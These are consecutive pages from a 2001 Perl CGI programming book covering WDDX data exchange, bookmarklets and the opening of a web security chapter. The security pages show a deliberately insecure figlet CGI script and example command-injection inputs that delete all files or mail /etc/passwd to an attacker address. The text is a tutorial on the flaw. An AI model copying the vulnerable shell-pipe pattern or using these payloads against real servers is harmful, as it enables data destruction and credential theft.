However, with JavaScript, we can even skip the intermediate step. Because converting data to JavaScript is such a common need on the Web, WDDX.pm, the Perl module for WDDX, will convert a Perl data structure into JavaScript code that can create a corresponding JavaScript data structure without creating a WDDX packet.

Let's look at an example to see how this works. Say that you want to pass the current date on the web server from your CGI script to JavaScript. In Perl, the date is measured by the number of seconds past the epoch; it looks like this:

my $now = time;

To create JavaScript from this, you would use the following code:

use WDDX;

my $wddx      = new WDDX;
my $now       = time;
my $wddx_now  = $wddx->datetime( $now );

print $wddx_now->as_javascript( "serverTime" );

We create a WDDX.pm object and then pass the time to the datetime method, which returns a WDDX::Datetime object. We can then use the as_javascript method to get JavaScript code for it. This outputs something like the following (the date and time will of course be different when you run it):

serverTime=new Date(100,0,5,14,20,39);

You can include this within an HTML document as JavaScript code. Dates are created very differently in JavaScript than in Perl but WDDX will handle this translation for you. DateTime is just one data type that WDDX supports. WDDX defines several basic data types that are common to several programming languages. The WDDX data types are summarized in Table 7-1.

Table 7-1. WDDX Data Types

WDDX Type | WDDX.pm Data Object | Perl Type
String | WDDX::String | Scalar
Number | WDDX::Number | Scalar
Boolean | WDDX::Boolean | Scalar (1 or " ")
Datetime | WDDX::Datetime | Scalar (seconds since epoch)
Null | WDDX::Null | Scalar (undef)
Binary | WDDX::Binary | Scalar
Array | WDDX::Array | Array
Struct | WDDX::Struct | Hash
Recordset | WDDX::Recordset | None (WDDX::Recordset)

As you can see, the WDDX data types are different from Perl's data types. Perl represents many different data types as scalars. As a result, the WDDX.pm module works differently than similar WDDX libraries for other languages, which are more transparent. In these other languages, you can use one method to go directly from the native data type to a WDDX packet (or JavaScript code). Because of the differences with the data types in Perl, WDDX.pm requires that you create an intermediate data object, such as $wddx_now, the WDDX::Datetime object that we saw above, which can then be converted to a WDDX packet or native JavaScript code.

Although originally conceived by Allaire, WDDX has been released as an open source project. You can download the WDDX SDK from http://www.wddx.org/; the WDDX.pm module is available on CPAN.

7.3.2. Example

WDDX.pm is most useful for complex data structures, so let's look at another example. We'll use JavaScript and HTML to create an interactive form that allows users to browse songs available for download (see Figure 7-3). Users can look through the song database without making additional calls to the web server until they have found a song they want to download.

We'll maintain the song information in a tab-delimited file on the web server with the format shown in Example 7-3.

Example 7-3. song_data.txt

Artist  Concert  Song  Venue  Date  Duration  Size  Filename
...

This record-based format is the same that is used by a spreadsheet or a database, and it is represented in WDDX as a recordset. A recordset is simply a series of records (or rows) that share a certain number of named fields (or columns).

Let's look at the HTML and JavaScript for the file. Note that this version requires that the user have JavaScript; this form will not contain any information without it. In practice, you would probably want to add a more basic interface within <NOSCRIPT> tags to support non-JavaScript users.

Figure 7-3. Online music browser

A CGI script will output this file when it is requested, but the only thing our CGI script must add is the data for the music. Thus, in Example 7-4, we'll use HTML::Template to pass one variable into our file; that tag appears near the bottom.

Example 7-4. music_browser.tmpl

<HTML>

<HEAD>
  <TITLE>Online Music Browser</TITLE>

  <SCRIPT SRC="/js-lib/wddx.js"></SCRIPT>

  <SCRIPT> <!--

    var archive_url = "http://www.some-mp3-site.org/downloads/";

    function showArtists(  ) {
        var artists = document.mbrowser.artistList;

        buildList( artists, "artist", "", "" );
        if ( artists.options.length == 0 ) {
            listMsg( artists, "Sorry no artists available now" );
        }

        showConcerts(  );
        showSongs(  );
    }

    function showConcerts(  ) {
        var concerts = document.mbrowser.concertList;

        if ( document.mbrowser.artistList.selectedIndex < 0 ) {
            var selected = selectedValue( document.mbrowser.artistList );
            buildList( concerts, "concert", "artist", selected );
        }
        else {
            listMsg( concerts, "Please select an artist" );
        }

        showSongs(  );
    }

    function showSongs(  ) {
        var songs = document.mbrowser.songList;
        songs.options.length = 0;
        songs.selectedIndex = -1;

        if ( document.mbrowser.concertList.selectedIndex < 0 ) {
            var selected = selectedValue( document.mbrowser.concertList );
            buildList( songs, "song", "concert", selected );
        }
        else {
            listMsg( songs, "Please select a concert" );
        }
    }

    function buildList( list, field, conditionField, conditionValue ) {
        list.options.length = 0;
        list.selectedIndex = -1;

        var showAll = ! conditionField;
        var list_idx = 0;
        var matched = new Object;  // Used as hash to avoid duplicates
        for ( var i = 0; i < data[field].length; i++ ) {
            if ( ! matched[ data[field][i] ] &&
                 ( showAll || data[conditionField][i] == conditionValue ) ) {
                matched[ data[field][i] ] = 1;
                var opt = new Option(  );
                opt.text  = data[field][i];
                opt.value = data[field][i];
                list.options[list_idx++] = opt;
            }
        }
    }

    function showSongInfo(  ) {
        var form = document.mbrowser;
        var idx = -1;

        for ( var i = 0; i < data.artist.length; i++ ) {
            if ( data.artist[i]  == selectedValue( form.artistList  ) &&
                 data.concert[i] == selectedValue( form.concertList ) &&
                 data.song[i]    == selectedValue( form.songList    ) ) {
                idx = i;
                break;
            }
        }

        form.artist.value   = idx < 0 ? data.artist[idx]   : "";
        form.concert.value  = idx < 0 ? data.concert[idx]  : "";
        form.song.value     = idx < 0 ? data.song[idx]     : "";
        form.venue.value    = idx < 0 ? data.venue[idx]    : "";
        form.date.value     = idx < 0 ? data.date[idx]     : "";
        form.duration.value = idx < 0 ? data.duration[idx] : "";
        form.size.value     = idx < 0 ? data.size[idx]     : "";
        form.filename.value = idx < 0 ? data.filename[idx] : "";
    }

    function getSong(  ) {
        var form = document.mbrowser;
        if ( form.filename.value == "" ) {
            alert( "Please select an artist, concert, and song to download." );
            return;
        }
        open( archive_url + form.filename.value, "song" );
    }

    function listMsg ( list, msg ) {
        list.options.length = 0;
        list.options[0] = new Option(  );
        list.options[0].text  = msg;
        list.options[0].value = "--";
    }

    function selectedValue( list ) {
        return list.options[list.selectedIndex].value;
    }

  // -->
  </SCRIPT>
</HEAD>

<BODY BGCOLOR="#FFFFFF" onLoad="showArtists(  )">

  <TABLE WIDTH="100%" BGCOLOR="#CCCCCC" BORDER="1">
    <TR><TD ALIGN="center">
      <H2>The Online Music Browser</H2>
    </TD></TR>
  </TABLE>

  <P>Listed below are the concerts available for download
    from this site. Please select an artist from the list at
    the left, a concert (or recording) by that artist from
    the list in the middle, and a song from the list on the
    right. All songs are available in MP3 format. Enjoy.</P>

  <HR NOSHADE>

  <FORM NAME="mbrowser" onSubmit="return false">
    <TABLE WIDTH="100%" BORDER="1" BGCOLOR="#CCCCFF"
      CELLPADDING="8" CELLSPACING="8">
      <INPUT TYPE="hidden" NAME="selectedRecord" VALUE="-1">
      <TR VALIGN="top">
        <TD>
          <B><BIG>1)</BIG> Select an Artist:</B><BR>
          <SELECT NAME="artistList" SIZE="6" onChange="showConcerts(  )">
            <OPTION>Sorry no artists available</OPTION>
          </SELECT>
        </TD>
        <TD>
          <B><BIG>2)</BIG> Select a Concert:</B><BR>
          <SELECT NAME="concertList" SIZE="6" onChange="showSongs(  )">
            <OPTION>Please select an artist</OPTION>
          </SELECT>
        </TD>
        <TD>
          <B><BIG>3)</BIG> Select a Song:</B><BR>
          <SELECT NAME="songList" SIZE="6" onChange="showSongInfo(  )">
            <OPTION>Please select a concert</OPTION>
          </SELECT>
        </TD>
      </TR><TR>
        <TD COLSPAN="3" ALIGN="center">
          <H3>Song Information</H3>
          <TABLE BORDER="0">
            <TR>
              <TD><B>Artist:</B></TD>
              <TD><INPUT NAME="artist" TYPE="text" SIZE="40"
                onFocus="this.blur(  )"></TD>
            </TR><TR>
              <TD><B>Concert:</B></TD>
              <TD><INPUT NAME="concert" TYPE="text" SIZE="40"
                onFocus="this.blur(  )"></TD>
            </TR><TR>
              <TD><B>Song:</B></TD>
              <TD><INPUT NAME="song" TYPE="text" SIZE="40"
                onFocus="this.blur(  )"></TD>
            </TR><TR>
              <TD><B>Venue:</B></TD>
              <TD><INPUT NAME="venue" TYPE="text" SIZE="40"
                onFocus="this.blur(  )"></TD>
            </TR><TR>
              <TD><B>Date:</B></TD>
              <TD><INPUT NAME="date" TYPE="text" SIZE="20"
                onFocus="this.blur(  )"></TD>
            </TR><TR>
              <TD><B>Duration:</B></TD>
              <TD><INPUT NAME="duration" TYPE="text" SIZE="10"
                onFocus="this.blur(  )"></TD>
            </TR><TR>
              <TD><B>Download Size:</B></TD>
              <TD><INPUT NAME="size" TYPE="text" SIZE="10"
                onFocus="this.blur(  )"></TD>
            </TR>
          </TABLE>
        </TD>
      </TR><TR ALIGN="center">
        <TD  COLSPAN="3">
          <INPUT TYPE="hidden" NAME="filename" VALUE="">
          <INPUT TYPE="button" NAME="download" VALUE="Download Song"
            onClick="getSong(  )">
        </TD>
      </TR>
    </TABLE>
  </FORM>

<SCRIPT> <!--
<TMPL_VAR NAME="song_data">
// -->
</SCRIPT>

</BODY>
</HTML>

This document has a form, but it doesn't actually submit any queries directly: it has no submit button and its onSubmit handler cancels any attempts to submit. The form is simply used as an interface and includes lists for artist, concert, and song as well as fields for displaying information on selected songs (refer back to Figure 7-3).

In the first <SCRIPT> tag, this document loads the wddx.js file, which is included in the WDDX SDK available at http://www.wddx.org/. This file contains the JavaScript functions needed to interpret WDDX objects like recordsets. When the file loads, all of the JavaScript code outside of functions and handlers is executed. That sets the archive_url global to the URL of the directory where the audio files are located; it also executes the JavaScript code inserted by our CGI script for the <TMPL_VAR NAME="song_data"> tag. We'll come back to how this JavaScript is generated when we look at the CGI script in a moment, but let's peek at the JavaScript code that will be inserted here. It looks like this:[10]

[10]Incidentally, all of the artists listed here have released statements affirming that their policy has been to allow their fans to record and distribute their performances for noncommercial purposes, and new digital music formats, such as MP3, do not alter this position. In other words, it is legal to distribute MP3s of their live performances (and a handful of other recordings released electronically). Obviously, it would be illegal to create a site like this with copyrighted music.

data=new WddxRecordset(  );
data.artist=new Array(  );
data.artist[0]="The Grateful Dead";
data.artist[1]="The Grateful Dead";
data.artist[3]="Widespread Panic";
data.artist[4]="Widespread Panic";
data.artist[5]="Leftover Salmon";
data.artist[6]="The Radiators";
...

The data variable is an object with a property for each field from our song_data.txt data file, like artist in this example. Each of these properties is an array containing as many entities as there are rows in the data file.

As soon as the browser renders the page, the onLoad handler calls the showArtists function. This function displays the artists by calling buildList for the artist select list object. It then calls the showConcerts and showSongs functions, which also use the buildList function.

The buildList function takes a select list object, the name of the field to pull the data from, and two additional parameters that are the name and value of a field to use as a condition for displaying a record. For example, if you call buildList like this:

buildList( document.mbrowser.concertList, "concert", "artist",
  "Widespread Panic" );

then for every record where the artist is "Widespread Panic", the value of the concert field is added it to the concertList select list. If the conditional field name is not provided, then buildList adds the requested field for all records.

Initially, the artist list is populated, the concert list has one entry telling the user to select an artist, and the song list has one entry telling the user to select a concert. Once the user selects an artist, the concerts by that artist appear in the concert list. When the user selects a concert, the songs from that concert appear in the songs list. When the user selects a song, the song information is displayed in the lower text fields.

These text fields all have the same handler:

onFocus="blur(  )"

This handler essentially makes the text fields uneditable by the user. As soon as the user tries to click or tab to one of the fields, the cursor immediately leaves the field. This serves no purpose other than to indicate that these fields are not intended for user input. If the user is fast enough, it is actually possible to add text to these fields, but it won't affect anything. These fields are populated by the showSongInfo function. This function looks through the data to determine which song has been selected and then loads the information for this field into the text fields and also sets the hidden filename field.

When the user clicks on the Download Song button, its onClick handler calls the getSong function. getSong verifies that a song has been selected by checking the value of the filename field If no song has been selected, the user is notified. Otherwise, the requested song is downloaded in another window.

Let's look at the CGI script now. Our CGI script must read the data file, parse it into a WDDX::Recordset object, and add it as JavaScript to our template. The code appears in Example 7-5.

Example 7-5. music_browser.cgi

#!/usr/bin/perl -wT

use strict;
use WDDX;
use HTML::Template;

use constant DATA_FILE => "/usr/local/apache/data/music/song_data.txt";
use constant TEMPLATE  => "/usr/local/apache/templates/music/music_browser.tmpl";

print "Content-type: text/html\n\n";

my $wddx = new WDDX;
my $rec = build_recordset( $wddx, DATA_FILE );

# Create JavaScript code assigning recordset to variable named "data"
my $js_rec = $rec->as_javascript( "data" );

# Output, replacing song_data template var with the JavaScript code
my $tmpl = new HTML::Template( filename => TEMPLATE );
$tmpl->param( song_data => $js_rec );
print $tmpl->output;

# Takes WDDX object and file path; returns WDDX::Recordset object
sub build_recordset {
    my( $wddx, $file ) = @_;
    local *FILE;

    # Open file and read field names from first line
    open FILE, $file or die "Cannot open $file: $!";
    my $headings = <FILE>;
    chomp $headings;
    my @field_names = split /\t/, lc $headings;

    # Make each field a string
    my @types = map "string", @field_names;
    my $rec = $wddx->recordset( \@field_names, \@types );

    # Add each record to our recordset
    while (<FILE>) {
            chomp;
        my @fields = split /\t/;
        $rec->add_row( \@fields );
    }

    close FILE;
    return $rec;
}

This CGI script starts like our previous examples: it adds the modules we need, defines constants to the files it uses, and outputs the HTTP header. Next, it creates a new WDDX object and constructs a recordset via the build_recordset function.

The build_recordset function takes a WDDX object and a file path. It opens the file and reads the first line into $headings to determine the names of the fields. It then splits these into an array, making sure that each field name is lowercase. The next line is a little more complex:

my @types = map "string", @field_names;

WDDX needs to know the data type for each field in the recordset. In this instance, we can treat each field as a string, so this script uses Perl's map function to create an array the same size as @field_names with every element set to "string" and assign it to @types. It then gets a new WDDX::Recordset object and loops through the file, adding each line to the recordset.

We then convert the recordset into JavaScript code and parse this into the template, replacing the song_data tag. That JavaScript code we discussed earlier takes over from WDDX there.

Previous | Home | Next
7.2. Forms | Book Index | 7.4. Bookmarklets
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bookmarklets (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

7.4. Bookmarklets

We'll end this chapter with a much less common use of JavaScript: bookmarklets. Bookmarklets are JavaScript URLs that have been saved as bookmarks. The basic concept behind bookmarklets has been around since JavaScript was first created, but it has been slowly growing in popularity since Steve Kangas first coined the term bookmarklet and created a web site devoted to them at http://www.bookmarklets.com/. Many people consider bookmarklets a novelty, but they have a much greater potential. Bookmarklets really shine when they are combined with custom CGI scripts, which is why they are of interest to us.

7.4.1. Bookmarklet Basics

First, let's see how bookmarklets work. Bookmarklets are much easier to show than to explain, so let's look at the world's most popular program, "Hello World," as a bookmarklet. The source for it is as follows:

javascript:alert("Hello world!")

If you were to type this into your browser as a location, it would display the alert shown in Figure 7-4.

Figure 7-4. Result from our "Hello World" bookmarklet

You can enter this directly into your browser because this simple program is also a valid URL. The javascript scheme tells browsers, which support it, that they should interpret the rest of the URL as JavaScript code in the context of the current web page and return the result as a new web page. You can also create hyperlinks that have this format. If you were to embed the following into an HTML web page, then you could click on the link to get the alert as well:

<A HREF='javascript:alert("Hello world!")'>Run Script</A>

However, neither of these examples are actually bookmarklets until you save the URL as a bookmark in your browser. Doing so is browser-specific, of course. Most browsers allow you to click on a hyperlink with your right mouse button and choose an option to save the link as a bookmark. Once you have done this, you have captured the script as a bookmarklet that you can run whenever you want by choosing it from your list of bookmarks.

Let's look at a more complicated example. We have referenced RFCs several times thus far. Let's make a bookmarklet that allows you to look up a particular RFC. In this case, we'll use http://www.faqs.org/rfc/ as the RFC repository.

Here is how we might write the JavaScript for this:

rfcNum = prompt( "RFC Number: ", "" );
if ( rfcNum == parseInt( rfcNum ) )
    open( "http://www.faqs.org/rfc/" + rfcNum + ".html" );
else if ( rfcNum )
    alert( "Invalid number." );

We ask the user for an RFC number. If the user enters an integer, we open a new browser window to fetch the corresponding RFC. Note that we don't handle the case in which the RFC doesn't exist; the user will simply get a 404 error from the www.faqs.org web server. However, if the user enters a value that isn't a number, we do report that error to them. If the user enters nothing or clicks Cancel, we do nothing.

Now let's convert to this to a bookmarklet. First, we must need to make sure we do not return any values from our code. If the code in your bookmarklet returns a value, some browsers (including Netscape's) will replace the current page with the value. You will confuse users if, for example, they get an empty page with a [null] in the top left corner every time they use your bookmarklet. The easiest way to avoid returning a value is to use the void function. It takes any value as an argument and returns nothing. We can wrap the void function around the last statement that returns a value, or simply append it to the end. We'll do the latter because in this script there are three different lines that could be executed last, depending on the user's entry. So we add the following line to the end of our script:

void( 0 );

Next, we should need to remove or encode any characters that are not valid within a URL. This includes whitespace and the following characters: <, >, #, %, ", {, }, |, \, ^, [, ], `.[11] However, Netscape Communicator 4.x will not recognize encoded syntax elements (such as brackets) within JavaScript URLs. So although it means that bookmarklets containing these characters are invalid URLs, if you want your bookmarklets to work with Netscape's browsers, you must leave these characters unencoded. Other browsers accepts these characters encoded or unencoded. In any event, you should remove any unnecessary whitespace.

[11]Control and non-ASCII characters are invalid as well, but these values must be escaped within JavaScript anyhow. Also, you may notice that this list is different than the list provided in Section 2.1.3, "URL Encoding". That list is for HTTP URLs, so it includes characters that have special significance to HTTP. JavaScript URLs are different than HTTP URLs, so this list includes only characters considered illegal for all URLs.

Finally, we prefix our code with javascript:, and we get the following:

javascript:rfcNum=prompt('RFC%20Number:','');if(rfcNum==parseInt(rfcNum))
open('http://www.faqs.org/rfc/'+rfcNum+'.html');else if(rfcNum)
alert('Invalid%20number.');void(0);

The line endings are not part of the URL but have been added to allow it to fit on the page.

There is one more thing that you should keep in mind when working with bookmarklets. Bookmarklets execute in the same scope as the frontmost page displayed in the user's browser. This has a number of advantages as we will see in the next section, Section 7.4.2, "Bookmarklets and CGI". The disadvantage is that you must be careful that the code you create does not conflict with other code that is on the current page. You should be especially careful with variable names and create names that are very unlikely to appear on other web sites. Variables are case-sensitive in JavaScript; using odd combinations of capitalization in variables is a good idea. In our last example, rFcNuM may have been a better (though less readable) choice as a variable name.

7.4.1.1. Compatibility

Because bookmarklets use JavaScript, they are not compatible with all web browsers. Some browsers that support JavaScript, such as Microsoft Internet Explorer 3.0 do not support bookmarklets. Other browsers impose limitations on bookmarklets. Unless you're distributing your bookmarklets as unsupported novelties, you should do extensive testing. Bookmarklets use JavaScript in a less than traditional manner, so test them with as many different versions of as many different browsers on as many different platforms as you can.

You should also keep your bookmarklets short. Some browsers do not impose a limit on the length of a URL; others limit URLs to 255 characters. This can even vary by platform: for example, Communicator 4.x allows only 255 characters on MacOS while it allows much longer URLs on Win32.

One of the features that some users of bookmarklets promote is that bookmarklets avoid some of JavaScript's browser incompatibility issues. Because Netscape and Microsoft have different implementations of JavaScript, if you want to create a bookmarklet that uses incompatible features of each, you can create two different bookmarklets instead of one bookmarklet that attempts to support both browsers. Then people can choose the bookmarklet that is appropriate to their browser. The problem with this approach is that Netscape and Microsoft are not the sole distributors of web browsers. Although these two companies create the majority of browsers on the web, there are other high-quality browsers that also support JavaScript and bookmarklets, such as Opera, and these browsers are growing in popularity. If you start supporting specific browsers, you may find yourself needing to choose which browsers to support and which users you are willing to loose. Hopefully, ECMAScript and DOM will quickly provide standards across all browsers.

7.4.2. Bookmarklets and CGI

So what do bookmarklets provide us as CGI developers? Bookmarklets can do anything that JavaScript can do including displaying dialog boxes, creating new browser windows, and generating new HTTP requests. Furthermore, because they execute in the context of the browser's frontmost window, they can interact with objects or information in this window without the security restrictions that an HTML window from your site would encounter. Thus, bookmarklets provide a very different or even transparent interface to our CGI scripts.

Let's look at an example. Say that you want to be able to create and store comments for web pages as you surf that you can retrieve when you visit the web pages later. We can do this with a simple bookmarklet and CGI script. First, let's create the CGI script.

Our CGI script needs to do two things. It needs to accept a URL and a comment and record them. It also needs to be able to retrieve a comment when given a particular URL. Example 7-6 provides the code.

Example 7-6. comments.cgi

#!/usr/bin/perl -wT

use strict;

use CGI;
use DB_File;
use Fcntl qw( :DEFAULT :flock );

my $DBM_FILE = "/usr/local/apache/data/bookmarklets/comments.dbm";

my $q       = new CGI;
my $url     = $q->param( "url" );
my $comment;

if ( defined $q->param( "save" ) ) {
    $comment = $q->param( "comment" ) || "";
    save_comment( $url, $comment );
}
else {
    $comment = get_comment( $url );
}

print $q->header( "text/html" ),
      $q->start_html( -title => $url, -bgcolor => "white" ),
      $q->start_form( { action => "/cgi/bookmarklets/comments.cgi" } ),
      $q->hidden( "url" ),
      $q->textarea( -name => "comment", -cols => 20, -rows => 8, -value => $comment ),
      $q->div( { -align => "right" },
          $q->submit( -name => "save", -value => "Save Comment" )
      ),
      $q->end_form,
      $q->end_html;

sub get_comment {
    my( $url ) = @_;
    my %dbm;
    local *DB;

    my $db = tie %dbm, "DB_File", $DBM_FILE, O_RDONLY | O_CREAT or
        die "Unable to read from $DBM_FILE: $!";
    my $fd = $db->fd;
    open DB, "+<&=$fd" or die "Cannot dup DB_File file descriptor: $!\n";
    flock DB, LOCK_SH;
    my $comment = $dbm{$url};
    undef $db;
    untie %dbm;
    close DB;
    return $comment;
}

sub save_comment {
    my( $url, $comment ) = @_;
    my %dbm;
    local *DB;

    my $db = tie %dbm, "DB_File", $DBM_FILE, O_RDWR | O_CREAT or
        die "Unable to write to $DBM_FILE: $!";
    my $fd = $db->fd;
    open DB, "+<&=$fd" or die "Cannot dup DB_File file descriptor: $!\n";
    flock DB, LOCK_EX;
    $dbm{$url} = $comment;
    undef $db;
    untie %dbm;
    close DB;
}

We use a disk-based hash called a DBM file in order to store comments and URLs. The tie function associates a Perl hash with the file; then anytime we read from or write to the hash, Perl automatically performs the corresponding action on the associated file. We will cover how to use DBM files in more detail in Chapter 10, "Data Persistence".

The JavaScript that we will use to call this CGI script is as follows:

url = document.location.href;
open( "http://localhost/cgi/bookmarklets/comments.cgi?url=" + escape( url ),
      url, "width=300,height=300,toolbar=no,menubar=no" );
void( 0 );

As a bookmarklet, it looks like this:

javascript:dOc_uRl=document.location.href;open('http://localhost/cgi/bookmarklets
comments.cgi?url='+escape(dOc_uRl),dOc_uRl,'width=300,height=300,toolbar=no,
menubar=no');void( 0 )

If you save this bookmarklet, visit a web site, and select the bookmarklet from your bookmarks, your browser should display another window. Enter a comment and save it. Then browse other pages and do the same if you wish. If you return to the first page and select the bookmarklet again, you should see your original comment for that page, as in Figure 7-5. Note that the comments window will not update itself each time you travel to another page. You will need to select the bookmarklet each time you want to read or save comment for a page you are on.

Figure 7-5. Updating a comment to comment.cgi via a bookmarklet

If you were to distribute this bookmarklet to friends, the comments would be shared and you could see what each other has to say about various web sites. The CGI script could also be placed in a secure directory and be extended to maintain separate databases for each user; you may want users to only be able to read other users' comments.

We would not have been able to build an application like this with a standard HTML page due to JavaScript's security restrictions. One HTML page cannot access objects in another HTML page if the two pages are from different domains (i.e., different web servers), so our comment form cannot determine the URL of any other browser windows. However, bookmarklets circumvent this restriction. Browsers allow this because the user must actively choose to run a bookmarklet in order for it to execute.

There are numerous other ways that you can put bookmarklets to use. You can see many examples of bookmarklets that use existing Internet resources at http://www.bookmarklets.com. Many of these are novelties, but bookmarklets can do more. Bookmarklets are most powerful when you have goods or services that can take advantage of accessing information on other sites as people surf. For example, companies such as the Better Business Bureau could offer bookmarklets that users can select when they are on another site to see how that site has been rated. Companies that sell add-on products or services like warranties can provide users with a bookmarklet that users can select when they are going to make a purchase online. Other possibilities are up to you to create.

Previous | Home | Next
7.3. Data Exchange | Book Index | 8. Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 8. Security

Contents:

The Importance of Web Security
Handling User Input
Encryption
Perl's Taint Mode
Data Storage
Summary

CGI programming offers you something amazing: as soon as your script is online, it is immediately available to the entire world. Anyone from almost anywhere can run the application you created on your web server. This may make you excited, but it should also make you scared. Not everyone using the Internet has honest intentions. Crackers[12] may attempt to vandalize your web pages in order to show off to friends. Competitors or investors may try to access internal information about your organization and its products.

[12]A cracker is someone who attempts to break into computers, snoop network transmissions, and get into other forms of online mischief. This is quite different from a hacker, a clever programmer who can find creative, simple solutions to problems. Many programmers (most of whom consider themselves hackers) draw a sharp distinction between the two terms, even though the mainstream media often does not.

Not all security issues involve malevolent users. The worldwide availability of your CGI script means that someone may run your script under circumstances you never imagined and certainly never tested. Your web script should not wipe out files because someone happened to enter an apostrophe in a form field, but this is possible, and issues like these also represent security concerns.

8.1. The Importance of Web Security

Many CGI developers do not take security as seriously as they should. So before we look at how to make CGI scripts more secure, let's look at why we should worry about security in the first place:

  1. On the Internet, your web site represents your public image. If your web pages are unavailable or have been vandalized, that affects others' impressions of your organization, even if the focus of your organization has nothing to do with web technology.

  2. You may have valuable information on your web server. You may have sensitive or valuable information available in a restricted area that you may wish to keep unauthorized people from accessing. For example, you may have content or services available to paying members, which you would not want non-paying customers or non-members to access. Even files that are not part of your web server's document tree and are thus not available online to anyone (e.g., credit card numbers) could be compromised.

  3. Someone who has cracked your web server has easier access to the rest of your network. If you have no valuable information on your web server, you probably cannot say that about your entire network. If someone breaks into your web server, it becomes much easier for them to break into another system on your network, especially if your web server is inside your organization's firewall (which, for this reason, is generally a bad idea).

  4. You sacrifice potential income when your system is down. If your organization generates revenue directly from your web site, you certainly lose income when your system is unavailable. However, even if you do not fall into this group, you likely offer marketing literature or contact information online. Potential customers who are unable to access this information may look elsewhere when making their decision.

  5. You waste time and resources fixing problems. You must perform many tasks when your systems are compromised. First, you must determine the extent of the damage. Then you probably need to restore from backups. You must also determine what went wrong. If a cracker gained access to your web server, then you must determine how the cracker managed this in order to prevent future break-ins. If a CGI script damaged files, then you must locate and fix the bug to prevent future problems.

  6. You expose yourself to liability. If you develop CGI scripts for other companies, and one of those CGI scripts is responsible for a large security problem, then you may understandably be liable. However, even if it is your company for whom you're developing CGI scripts, you may be liable to other parties. For example, if someone cracks your web server, they could use it as a base to stage attacks on other companies. Likewise, if your company stores information that others consider sensitive (e.g., your customers' credit card numbers), you may be liable to them if that information is leaked.

These are only some of the many reasons why web security is so important. You may be able to come up with other reasons yourself. So now that you recognize the importance of creating secure CGI scripts, you may be wondering what makes a CGI script secure. It can be summed up in one simple maxim: never trust any data coming from the user. This sounds quite simple, but in practice it's not. In the remainder of this chapter, we'll explore how to do this.

Previous | Home | Next
7.4. Bookmarklets | Book Index | 8.2. Handling User Input
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Handling User Input (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

8.2. Handling User Input

Security problems arise when you make assumptions about your data: you assume that users will do what you expect, and they surprise you. Users are good at this, even when they're not trying. To write secure CGI scripts, you must also think creatively. Let's look at an example.

8.2.1. Calling External Applications

figlet is a fun application that allows us to create large, fancy ASCII art characters in many different sizes and styles. You can find examples of figlet output as part of people's signatures in email messages and newsgroup posts. If figlet is not on your system, you can get it from http://st-www.cs.uiuc.edu/users/chai/figlet.html.

You can execute figlet from the command line in the following manner:

$ figlet -f fonts/slant 'I Love CGI!'

And the output would be:

____   __                       ______________________
   /  _/  / /   ____ _   _____     / ____/ __  _  _/  _/ /
   / /   / /   / _  _ \ | / / _ \   / /   / / _  _ / // /
 _/ /   / /___/ /_/ / |/ /  __/  / /_  _  _/ /_/ // //_/
/___/  /_____/\____/|___/\___/   \____/\____/_  _  _(_)

We can write a CGI gateway to figlet that allows a user to enter some text, executes a command like the one shown above, captures the output, and returns it to the browser.

First, Example 8-1 shows the HTML form.

Example 8-1. figlet.html

<html>
  <head>
    <title>Figlet Gateway</title>
  </head>

  <body bgcolor="#FFFFFF">

    <div align="center">
    <h2>Figlet Gateway</h2>

    <form action="/cgi/unsafe/figlet_INSECURE.cgi" method="GET">
      <p>Please enter a string to pass to figlet:
        <input type="text" name="string"></p>
      <input type="submit">
    </form>

  </body>
</html>

Now, Example 8-2 shows the program.

Example 8-2. figlet_INSECURE.cgi

#!/usr/bin/perl -w

use strict;
use CGI;
use CGIBook::Error;

# Constant: path to figlet
my $FIGLET = '/usr/local/bin/figlet';

my $q      = new CGI;
my $string = $q->param( "string" );

unless ( $string ) {
    error( $q, "Please enter some text to display." );
}

local *PIPE;

## This code is INSECURE...
## Do NOT use this code on a live web server!!
open PIPE, "$FIGLET \"$string\" |" or
    die "Cannot open pipe to figlet: $!";

print $q->header( "text/plain" );
print while <PIPE>;
close PIPE;

We first verify that the user entered a string and simply print an error if not. Then we open a pipe (notice the trailing "|"character) to the figlet command, passing it the string. By opening a pipe to another application, we can read from it as though it is a file. In this case, we can get at the figlet output by simply reading from the PIPE file handle.

We then print our content type, followed by the figlet output. Perl lets us do this on one line: the while loop reads a line from PIPE, stores it in $_, and calls print; when print is called without an argument, it will output the value stored in $_; the loop automatically terminates when all the data has been read from figlet.

Admittedly, our example is somewhat dull. figlet has many options for changing the font, etc., but we want to keep our example short and simple to be able to focus on the security issues. Many people assume that it's hard for something to go wrong with scripts this simple. In fact, this CGI script allows a savvy user to execute any command on your system!

Before reading further, see if you can figure out how this example is insecure. Remember that your commands are executed with the same permissions that your web server runs as (e.g., nobody). If you want to test it on a web server, then only do so on a private web server that is not attached to the Internet! Finally, try to figure out how to fix this security problem.

The reason why we suggest that you try to find the solution yourself is that there are many possible solutions that appear secure but are not. Before we look at the solutions, let's analyze the problem. It should have been pretty obvious (if only from the comments in the code), that the culprit is the call that opens a pipe to figlet. Why is this insecure? Well, it isn't if the user does in fact pass simple words without punctuation. But if you assume this then you would be forgetting our rule: never trust any data from the user.

8.2.2. User Input and the Shell

You should not assume this field will contain harmless data. It could be anything. When Perl opens a pipe to an external program, it passes the command through a shell. Suppose the input were the text:

`rm -rf /`

or:

"; mail cracker@badguys.net </etc/passwd"

These commands would execute as if the following commands had been entered into a shell:

$ /usr/local/bin/figlet "`rm -rf /`"
$ /usr/local/bin/figlet ""; mail cracker@badguys.net </etc/passwd

The first command would attempt to erase every file on your server, leaving you to search for your backup tapes.[13] The second would email your system password file to someone you'd probably rather not have trying to log into your system. Windows servers are no better off; the input "| del /f /s /q c:\" would be just as catastrophic.

[13]This example shows you why it is important to create a special user like nobody to run your web server and why this user should own as few files as possible. See Chapter 1, "Getting Started "

So what should we do? Well, the main problem is that the shell gives many characters special meaning. For example, the backtick character (`) allows you to embed one command inside another. This makes the shell powerful, but in this context, that power is dangerous. We could attempt to make a list of all the special characters. We would need to include all the characters that can cause other commands to run, that change the environment in significant ways, or terminate our intended commands and allow another command to follow.

We could change the code as follows:

my $q      = new CGI;
my $string = $q->param( "string" );
unless ( $string ) {
    error( $q, "Please enter some text to display." );
}

## This is an incomplete example; this is NOT a secure check
